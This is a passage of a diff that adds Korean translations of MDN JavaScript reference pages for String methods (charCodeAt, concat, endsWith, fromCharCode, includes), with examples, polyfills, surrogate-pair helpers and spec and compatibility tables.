+function getWholeCharAndI(str, i) {
+ var code = str.charCodeAt(i);
+
+ if (Number.isNaN(code)) {
+ return ''; // Position not found
+ }
+ if (code &lt; 0xD800 || code &gt; 0xDFFF) {
+ return [str.charAt(i), i]; // Normal character, keeping 'i' the same
+ }
+
+ // High surrogate (could change last hex to 0xDB7F to treat high private
+ // surrogates as single characters)
+ if (0xD800 &lt;= code &amp;&amp; code &lt;= 0xDBFF) {
+ if (str.length &lt;= (i + 1)) {
+ throw 'High surrogate without following low surrogate';
+ }
+ var next = str.charCodeAt(i + 1);
+ if (0xDC00 &gt; next || next &gt; 0xDFFF) {
+ throw 'High surrogate without following low surrogate';
+ }
+ return [str.charAt(i) + str.charAt(i + 1), i + 1];
+ }
+ // Low surrogate (0xDC00 &lt;= code &amp;&amp; code &lt;= 0xDFFF)
+ if (i === 0) {
+ throw 'Low surrogate without preceding high surrogate';
+ }
+ var prev = str.charCodeAt(i - 1);
+
+ // (could change last hex to 0xDB7F to treat high private surrogates
+ // as single characters)
+ if (0xD800 &gt; prev || prev &gt; 0xDBFF) {
+ throw 'Low surrogate without preceding high surrogate';
+ }
+ // Return the next character instead (and increment)
+ return [str.charAt(i + 1), i + 1];
+}
+</pre>
+
+<h3 id="기본다국어평면(Basic-Multilingual-Plane)이_아닌_문자들을_지원하도록_charAt()_수정하기">기본다국어평면(Basic-Multilingual-Plane)이 아닌 문자들을 지원하도록 <code>charAt()</code> 수정하기</h3>
+
+<p>어떠한 non-BMP 문자들이 나타났는지 호출자가 알 필요가 없기 때문에 non-BMP 문자들을 지원하도록 하는데는 앞의 예제들이 더 자주 사용되지만, 인덱스로 문자를 선택하는데 있어서 문자열 내에 서로게이트 페어들이 하나의 문자들로 처리되길 원한다면, 아래 예제 코드를 사용하면 됩니다.</p>
+
+<pre class="brush: js">function fixedCharAt(str, idx) {
+ var ret = '';
+ str += '';
+ var end = str.length;
+
+ var surrogatePairs = /[\uD800-\uDBFF][\uDC00-\uDFFF]/g;
+ while ((surrogatePairs.exec(str)) != null) {
+ var li = surrogatePairs.lastIndex;
+ if (li - 2 &lt; idx) {
+ idx++;
+ } else {
+ break;
+ }
+ }
+
+ if (idx &gt;= end || idx &lt; 0) {
+ return '';
+ }
+
+ ret += str.charAt(idx);
+
+ if (/[\uD800-\uDBFF]/.test(ret) &amp;&amp; /[\uDC00-\uDFFF]/.test(str.charAt(idx + 1))) {
+ // Go one further, since one of the "characters" is part of a surrogate pair
+ ret += str.charAt(idx + 1);
+ }
+ return ret;
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.5.4.4', 'String.prototype.charAt')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-string.prototype.charat', 'String.prototype.charAt')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-string.prototype.charat', 'String.prototype.charAt')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.String.charAt")}}</p>
+
+<h2 id="관련문서">관련문서</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.indexOf()")}}</li>
+ <li>{{jsxref("String.prototype.lastIndexOf()")}}</li>
+ <li>{{jsxref("String.prototype.charCodeAt()")}}</li>
+ <li>{{jsxref("String.prototype.codePointAt()")}}</li>
+ <li>{{jsxref("String.prototype.split()")}}</li>
+ <li>{{jsxref("String.fromCodePoint()")}}</li>
+ <li><a href="https://mathiasbynens.be/notes/javascript-unicode">JavaScript has a Unicode problem – Mathias Bynens</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/charcodeat/index.html b/files/ko/web/javascript/reference/global_objects/string/charcodeat/index.html
new file mode 100644
index 0000000000..9777130911
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/charcodeat/index.html
@@ -0,0 +1,169 @@
+---
+title: String.prototype.charCodeAt()
+slug: Web/JavaScript/Reference/Global_Objects/String/charCodeAt
+tags:
+ - JavaScript
+ - Method
+ - Reference
+ - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/charCodeAt
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>charCodeAt()</code></strong> 메서드는 주어진 인덱스에 대한 UTF-16 코드를 나타내는 0부터 65535 사이의 정수를 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-charcodeat.html")}}</div>
+
+
+
+<p>전체 코드 값을 원하신다면 {{jsxref("String.prototype.codePointAt()")}}을 사용하세요.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.charCodeAt(<var>index</var>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>index</code></dt>
+ <dd>0 이상이고 문자열의 길이보다 작은 정수. 숫자가 아니라면 0을 기본값으로 사용함. </dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 인덱스 대한 문자에 대한 UTF-16 코드를 나타내는 숫자<br>
+ 범위 밖으로 넘어갔을 경우 {{jsxref("Global_Objects/NaN", "NaN")}}</p>
+
+<h2 id="설명">설명</h2>
+
+<p>Unicode code points range from 0 to 1114111 (0x10FFFF). The first 128 Unicode code points are a direct match of the ASCII character encoding. For information on Unicode, see the <a href="/en-US/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Unicode">JavaScript Guide</a>.</p>
+
+<p>Note that <code>charCodeAt()</code> will always return a value that is less than 65536. This is because the higher code points are represented by a pair of (lower valued) "surrogate" pseudo-characters which are used to comprise the real character. Because of this, in order to examine or reproduce the full character for individual characters of value 65536 and above, for such characters, it is necessary to retrieve not only <code>charCodeAt(i)</code>, but also <code>charCodeAt(i+1)</code> (as if examining/reproducing a string with two letters), or to use codePointAt(i) instead. See example 2 and 3 below.</p>
+
+<p><code>charCodeAt()</code> returns {{jsxref("Global_Objects/NaN", "NaN")}} if the given index is less than 0 or is equal to or greater than the length of the string.</p>
+
+<p>Backward compatibilty: In historic versions (like JavaScript 1.2) the <code>charCodeAt()</code> method returns a number indicating the ISO-Latin-1 codeset value of the character at the given index. The ISO-Latin-1 codeset ranges from 0 to 255. The first 0 to 127 are a direct match of the ASCII character set.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Using_charCodeAt()">Using <code>charCodeAt()</code></h3>
+
+<p>The following example returns 65, the Unicode value for A.</p>
+
+<pre class="brush: js">'ABC'.charCodeAt(0); // returns 65
+</pre>
+
+<h3 id="Fixing_charCodeAt()_to_handle_non-Basic-Multilingual-Plane_characters_if_their_presence_earlier_in_the_string_is_unknown">Fixing <code>charCodeAt()</code> to handle non-Basic-Multilingual-Plane characters if their presence earlier in the string is unknown</h3>
+
+<p>This version might be used in for loops and the like when it is unknown whether non-BMP characters exist before the specified index position.</p>
+
+<pre class="brush: js">function fixedCharCodeAt(str, idx) {
+ // ex. fixedCharCodeAt('\uD800\uDC00', 0); // 65536
+ // ex. fixedCharCodeAt('\uD800\uDC00', 1); // false
+ idx = idx || 0;
+ var code = str.charCodeAt(idx);
+ var hi, low;
+
+ // High surrogate (could change last hex to 0xDB7F to treat high
+ // private surrogates as single characters)
+ if (0xD800 &lt;= code &amp;&amp; code &lt;= 0xDBFF) {
+ hi = code;
+ low = str.charCodeAt(idx + 1);
+ if (isNaN(low)) {
+ throw 'High surrogate not followed by low surrogate in fixedCharCodeAt()';
+ }
+ return ((hi - 0xD800) * 0x400) + (low - 0xDC00) + 0x10000;
+ }
+ if (0xDC00 &lt;= code &amp;&amp; code &lt;= 0xDFFF) { // Low surrogate
+ // We return false to allow loops to skip this iteration since should have
+ // already handled high surrogate above in the previous iteration
+ return false;
+ /*hi = str.charCodeAt(idx - 1);
+ low = code;
+ return ((hi - 0xD800) * 0x400) + (low - 0xDC00) + 0x10000;*/
+ }
+ return code;
+}
+</pre>
+
+<h3 id="Fixing_charCodeAt()_to_handle_non-Basic-Multilingual-Plane_characters_if_their_presence_earlier_in_the_string_is_known">Fixing <code>charCodeAt()</code> to handle non-Basic-Multilingual-Plane characters if their presence earlier in the string is known</h3>
+
+<pre class="brush: js">function knownCharCodeAt(str, idx) {
+ str += '';
+ var code,
+ end = str.length;
+
+ var surrogatePairs = /[\uD800-\uDBFF][\uDC00-\uDFFF]/g;
+ while ((surrogatePairs.exec(str)) != null) {
+ var li = surrogatePairs.lastIndex;
+ if (li - 2 &lt; idx) {
+ idx++;
+ }
+ else {
+ break;
+ }
+ }
+
+ if (idx &gt;= end || idx &lt; 0) {
+ return NaN;
+ }
+
+ code = str.charCodeAt(idx);
+
+ var hi, low;
+ if (0xD800 &lt;= code &amp;&amp; code &lt;= 0xDBFF) {
+ hi = code;
+ low = str.charCodeAt(idx + 1);
+ // Go one further, since one of the "characters" is part of a surrogate pair
+ return ((hi - 0xD800) * 0x400) + (low - 0xDC00) + 0x10000;
+ }
+ return code;
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.2.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.5.4.5', 'String.prototype.charCodeAt')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-string.prototype.charcodeat', 'String.prototype.charCodeAt')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-string.prototype.charcodeat', 'String.prototype.charCodeAt')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("javascript.builtins.String.charCodeAt")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("String.fromCharCode()")}}</li>
+ <li>{{jsxref("String.prototype.charAt()")}}</li>
+ <li>{{jsxref("String.fromCodePoint()")}}</li>
+ <li>{{jsxref("String.prototype.codePointAt()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/concat/index.html b/files/ko/web/javascript/reference/global_objects/string/concat/index.html
new file mode 100644
index 0000000000..1d5b4f2cd6
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/concat/index.html
@@ -0,0 +1,105 @@
+---
+title: String.prototype.concat()
+slug: Web/JavaScript/Reference/Global_Objects/String/concat
+tags:
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+ - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/concat
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>concat()</code></strong> 메서드는 매개변수로 전달된 모든 문자열을 호출 문자열에 붙인 새로운 문자열을 반환합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/string-concat.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.concat(<var>string2</var>, <var>string3</var>[, ..., <var>stringN</var>])</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>string2...string<em>N</em></code></dt>
+ <dd>합칠 문자열.</dd>
+</dl>
+
+<h3 id="반환값">반환값</h3>
+
+<p>주어진 문자열을 모두 붙인 새로운 문자열.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>concat()</code> 함수는 호출 문자열에 문자열 인수를 이어 붙인 결과를 반환합니다. 원본 문자열과 결과 문자열의 변형은 서로에게 영향을 미치지 않습니다. 인수가 문자열이 아니면 계산 전에 문자열로 변환합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="concat_사용하기"><code>concat()</code> 사용하기</h3>
+
+<p>아래 예제에서는 문자열을 결합하여 새로운 문자열을 만듭니다.</p>
+
+<pre><code>var hello = 'Hello, ';
+console.log(hello.concat('Kevin', '. Have a nice day.'));
+/* Hello, Kevin. Have a nice day. */
+
+var greetList = ['Hello', ' ', 'Venkat', '!'];
+"".concat(...greetList); // "Hello Venkat!"
+
+"".concat({}); // [object Object]
+"".concat([]); // ""
+"".concat(null); // "null"
+"".concat(true); // "true"
+"".concat(4, 5); // "45"</code></pre>
+
+<h2 id="성능">성능</h2>
+
+<p><code>concat()</code> 메서드보다 {{jsxref("Operators/Assignment_Operators", "할당 연산자", "", 1)}} (<code>+</code>, <code>+=</code>)를 사용하는게 더 좋습니다. <a href="https://web.archive.org/web/20170404182053/https://jsperf.com/concat-vs-plus-vs-join">성능 테스트</a> 결과에 따르면 할당 연산자의 속도가 몇 배 빠릅니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.2.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.5.4.6', 'String.prototype.concat')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-string.prototype.concat', 'String.prototype.concat')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-string.prototype.concat', 'String.prototype.concat')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.String.concat")}}</p>
+
+<div></div>
+
+<div id="compat-mobile"></div>
+
+<h2 id="관련문서">관련문서</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+ <li>{{jsxref("Operators/Assignment_Operators", "Assignment operators", "", 1)}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/endswith/index.html b/files/ko/web/javascript/reference/global_objects/string/endswith/index.html
new file mode 100644
index 0000000000..d78645e9f3
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/endswith/index.html
@@ -0,0 +1,142 @@
+---
+title: String.prototype.endsWith()
+slug: Web/JavaScript/Reference/Global_Objects/String/endsWith
+translation_of: Web/JavaScript/Reference/Global_Objects/String/endsWith
+---
+<div>{{JSRef}}</div>
+
+<p>The <strong><code>endsWith()</code></strong> 메서드를 사용하여 어떤 문자열에서 특정 문자열로 끝나는지를 확인할 수 있으며, 그 결과를 <code>true</code> 혹은 <code>false</code>로 반환한다. </p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><var>str</var>.endsWith(<var>searchString</var>[, <var>length</var>])</pre>
+
+<h3 id="파라미터들">파라미터들</h3>
+
+<dl>
+ <dt><code>searchString</code></dt>
+ <dd>이 문자열의 끝이 특정 문자열로 끝나는지를 찾기 원하는 문자열입니다.</dd>
+ <dt><code>length</code></dt>
+ <dd>옵션입니다. 찾고자 하는 문자열의 길이값이며, 기본값은 문자열 전체 길이입니다. 문자열의 길이값은 문자열 전체 길이 안에서만 존재하여야 합니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>문자열의 끝이 주어진 문자열로 끝나면 <strong><code>true</code></strong>, 그렇지 않다면 <strong><code>false</code></strong></p>
+
+<h2 id="설명">설명</h2>
+
+<p>여러분은 이 메서드를 사용하여 어떤 문자열이 특정 문자열로 끝나는지를 확인할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="endsWith_사용하기"><code>endsWith()</code> 사용하기</h3>
+
+<pre class="brush: js">var str = 'To be, or not to be, that is the question.';
+
+console.log(str.endsWith('question.')); // true
+console.log(str.endsWith('to be')); // false
+console.log(str.endsWith('to be', 19)); // true
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>이 메서드는 ECMAScript 6 규격에 포함되었습니다만 아직까지는 모든 JavaScrpt가 이 기능을 지원하고 있지는 않습니다. 하지만 여러분은 <code>String.prototype.endsWith()</code> 메서드를 다음과 같이 쉽게 <a href="https://en.wikipedia.org/wiki/Polyfill">polyfill</a> 할 수 있습니다:</p>
+
+<pre class="brush: js">if (!String.prototype.endsWith) {
+  String.prototype.endsWith = function(searchString, position) {
+      var subjectString = this.toString();
+      if (typeof position !== 'number' || !isFinite(position) || Math.floor(position) !== position || position &gt; subjectString.length) {
+        position = subjectString.length;
+      }
+      position -= searchString.length;
+      var lastIndex = subjectString.indexOf(searchString, position);
+      return lastIndex !== -1 &amp;&amp; lastIndex === position;
+  };
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-string.prototype.endswith', 'String.prototype.endsWith')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-string.prototype.endswith', 'String.prototype.endsWith')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Edge</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome("41")}}</td>
+ <td>{{CompatGeckoDesktop("17")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatSafari("9")}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatChrome("36")}}</td>
+ <td>{{CompatGeckoMobile("17")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="관련문서">관련문서</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.startsWith()")}}</li>
+ <li>{{jsxref("String.prototype.includes()")}}</li>
+ <li>{{jsxref("String.prototype.indexOf()")}}</li>
+ <li>{{jsxref("String.prototype.lastIndexOf()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/fromcharcode/index.html b/files/ko/web/javascript/reference/global_objects/string/fromcharcode/index.html
new file mode 100644
index 0000000000..98b1627666
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/fromcharcode/index.html
@@ -0,0 +1,101 @@
+---
+title: String.fromCharCode()
+slug: Web/JavaScript/Reference/Global_Objects/String/fromCharCode
+tags:
+ - JavaScript
+ - Method
+ - Reference
+ - String
+ - Unicode
+translation_of: Web/JavaScript/Reference/Global_Objects/String/fromCharCode
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>String.fromCharCode()</code></strong> 메서드는 UTF-16 코드 유닛의 시퀀스로부터 문자열을 생성해 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-fromcharcode.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code>String.fromCharCode(<var>num1</var>[, ...[, <var>numN</var>]])</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>num1, ..., num<em>N</em></code></dt>
+ <dd>UTF-16 코드 유닛인 숫자 뭉치. 가능한 값의 범위는 0부터 65535(0xFFFF)까지입니다. 0xFFFF를 초과하는 값은 잘립니다. 유효성 검사는 하지 않습니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 UTF-16 코드 유닛 N개로 이루어진 문자열.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>이 메서드는 {{jsxref("String")}} 객체가 아닌 문자열을 반환합니다.</p>
+
+<p><code>fromCharCode()</code>는 {{jsxref("String")}}의 정적 메서드이기 때문에 <code>String.fromCharCode()</code>로 사용해야 합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="fromCharCode()_사용하기"><code>fromCharCode()</code> 사용하기</h3>
+
+<p>다음 예제는 문자열 <code>"ABC"</code>를 반환합니다..</p>
+
+<pre class="brush: js">String.fromCharCode(65, 66, 67); // "ABC"
+String.fromCharCode(0x2014) // "—"
+String.fromCharCode(0x12014) // 숫자 '1'은 무시해서 "—"
+</pre>
+
+<h2 id="더_큰_값과_사용하기">더 큰 값과 사용하기</h2>
+
+<p>초기 JavaScript 표준화 과정에서 예상했던 것처럼, 대부분의 흔한 유니코드 값을 16비트 숫자로 표현할 수 있고, <code>fromCharCode()</code>가 많은 흔한 값에서 하나의 문자를 반환할 수 있지만, <strong>모든</strong> 유효한 유니코드 값(최대 21비트)을 처리하려면 <code>fromCharCode()</code>만으로는 부족합니다. 높은 코드 포인트의 문자는 써로게이트<sup>surrogate</sup> 값 두 개를 합쳐 하나의 문자를 표현하므로,{{jsxref("String.fromCodePoint()")}}(ES2015 표준) 메서드는 그러한 쌍을 높은 값의 문자로 변환할 수 있습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.2.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.5.3.2', 'StringfromCharCode')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-string.fromcharcodes', 'String.fromCharCode')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-string.fromcharcodes', 'String.fromCharCode')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.String.fromCharCode")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("String.fromCodePoint()")}}</li>
+ <li>{{jsxref("String.prototype.charAt()")}}</li>
+ <li>{{jsxref("String.prototype.charCodeAt()")}}</li>
+ <li>{{jsxref("String.prototype.codePointAt()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/includes/index.html b/files/ko/web/javascript/reference/global_objects/string/includes/index.html
new file mode 100644
index 0000000000..a3eb79ad16
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/includes/index.html
@@ -0,0 +1,125 @@
+---
+title: String.prototype.includes()
+slug: Web/JavaScript/Reference/Global_Objects/String/includes
+tags:
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+ - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/includes
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>includes()</code></strong> 메서드는 하나의 문자열이 다른 문자열에 포함되어 있는지를 판별하고, 결과를 <code>true</code> 또는 <code>false</code> 로 반환합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/string-includes.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.includes(<var>searchString</var>[, <var>position</var>])</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>searchString</code></dt>
+ <dd>이 문자열에서 찾을 다른 문자열.</dd>
+ <dt><code>position</code> {{optional_inline}}</dt>
+ <dd><code>searchString</code>을 찾기 시작할 위치. 기본값 0.</dd>
+</dl>
+
+<h3 id="반환값">반환값</h3>
+
+<p>문자열을 찾아내면 <code>true</code>. 실패하면 <code>false</code>.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>includes()</code> 메서드를 사용해 문자열 내에 찾고자 하는 다른 문자열이 있는지 확인할 수 있습니다.</p>
+
+<h3 id="대소문자_구분">대소문자 구분</h3>
+
+<p><code>includes()</code> 메서드는 대소문자를 구별합니다. 예를 들어 아래 코드는 <code>false</code>를 반환합니다.</p>
+
+<pre class="brush: js">'Blue Whale'.includes('blue'); // returns false
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="includes()_사용하기"><code>includes()</code> 사용하기</h3>
+
+<pre class="brush: js">var str = 'To be, or not to be, that is the question.';
+
+console.log(str.includes('To be')); // true
+console.log(str.includes('question')); // true
+console.log(str.includes('nonexistent')); // false
+console.log(str.includes('To be', 1)); // false
+console.log(str.includes('TO BE')); // false
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p>이 메서드는 ECMAScript 6 규격에 포함되었습니다만 아직까지는 모든 JavaScrpt가 이 기능을 지원하고 있지는 않습니다. 하지만 여러분은 이 메서드를 다음과 같이 쉽게 <a href="https://en.wikipedia.org/wiki/Polyfill">polyfill</a> 할 수 있습니다.</p>
+
+<pre class="brush: js">if (!String.prototype.includes) {
+  String.prototype.includes = function(search, start) {
+    'use strict';
+    if (typeof start !== 'number') {
+      start = 0;
+    }
+
+    if (start + search.length &gt; this.length) {
+      return false;
+    } else {
+      return this.indexOf(search, start) !== -1;
+    }
+  };
+}
+
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-string.prototype.includes', 'String.prototype.includes')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-string.prototype.includes', 'String.prototype.includes')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.String.includes")}}</div>
+
+<h2 id="String.prototype.contains">String.prototype.contains</h2>
+
+<p>Firefox 18 - 39에서, <code>include()</code> 메서드의 이름은 <code>contains()</code>이었습니다. contains() 함수는 아래와 같은 이유로 {{bug(1102219)}}에서 <code>includes()</code>로 변경되었습니다:</p>
+
+<p>It's been <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=789036">reported</a> that some websites using MooTools 1.2 broke on Firefox 17. This version of MooTools checks whether <code>String.prototype.contains()</code> exists and, if it doesn't,  MooTools adds its own function. With the introduction of this function in Firefox 17, the behavior of that check changed in a way that causes code based on MooTools' <code>String.prototype.contains()</code> implementation to break. As a result, the implementation was <a href="https://hg.mozilla.org/releases/mozilla-aurora/rev/086db97198a8">disabled</a> in Firefox 17 and <code>String.prototype.contains()</code> was available one version later, in Firefox 18, when <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=789036#c32">outreach to MooTools </a>was leading to the <a href="http://mootools.net/blog/2013/02/19/mootools-1-2-6-released">release of MooTools version 1.2.6</a>.</p>
+
+<p>MooTools 1.3 forces its own version of <code>String.prototype.contains()</code>, so websites relying on it should not break. However, you should note that <a href="http://mootools.net/core/docs/1.3.2/Types/String#String-method:-contains">MooTools 1.3 signature</a> and ECMAScript 6 signatures for this method differ (on the second argument). Later, <a href="https://github.com/mootools/mootools-core/blob/master/Docs/Types/String.md#note">MooTools 1.5+ changed the signature to match the ES6 standard.</a></p>
+
+<p>Firefox 48에서, <code>String.prototype.contains()</code>은 제거되었습니다. 오직 <code>String.prototype.includes()</code>만 사용할 수 있습니다.</p>
+
+<h2 id="관련문서">관련문서</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.includes()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("TypedArray.prototype.includes()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("String.prototype.indexOf()")}}</li>
+ <li>{{jsxref("String.prototype.lastIndexOf()")}}</li>
